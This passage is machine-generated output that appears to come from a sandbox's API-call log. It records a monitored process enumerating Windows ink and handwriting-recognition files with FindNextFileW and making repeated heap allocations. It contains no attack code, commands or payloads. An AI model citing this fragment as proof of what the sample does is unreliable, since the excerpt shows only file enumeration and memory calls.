nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0046.027] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0046.027] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0046.027] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0046.027] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0046.028] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0046.028] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0046.028] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0046.028] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.028] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.028] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0046.028] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee00c8 [0046.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedfb88 [0046.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2c0) returned 0xee0690 [0046.028] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7578) returned 1 [0046.028] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.028] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.028] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.028] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.028] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.028] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0046.028] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="")) returned 1 [0046.028] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0046.028] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0046.028] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0046.029] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.029] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.029] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee00e8 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedfc90 [0046.029] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.029] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0046.029] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.029] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.029] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0108 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0046.029] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.029] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.029] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.029] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0128 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4638 [0046.029] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.029] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0148 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0970 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.030] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0168 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed46c0 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.030] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0188 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4748 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.030] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.030] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee01a8 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee2970 [0046.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee01c8 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee29f8 [0046.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.031] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0046.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.032] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.032] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.032] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.032] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.032] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.032] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.032] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.032] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.032] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.032] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) 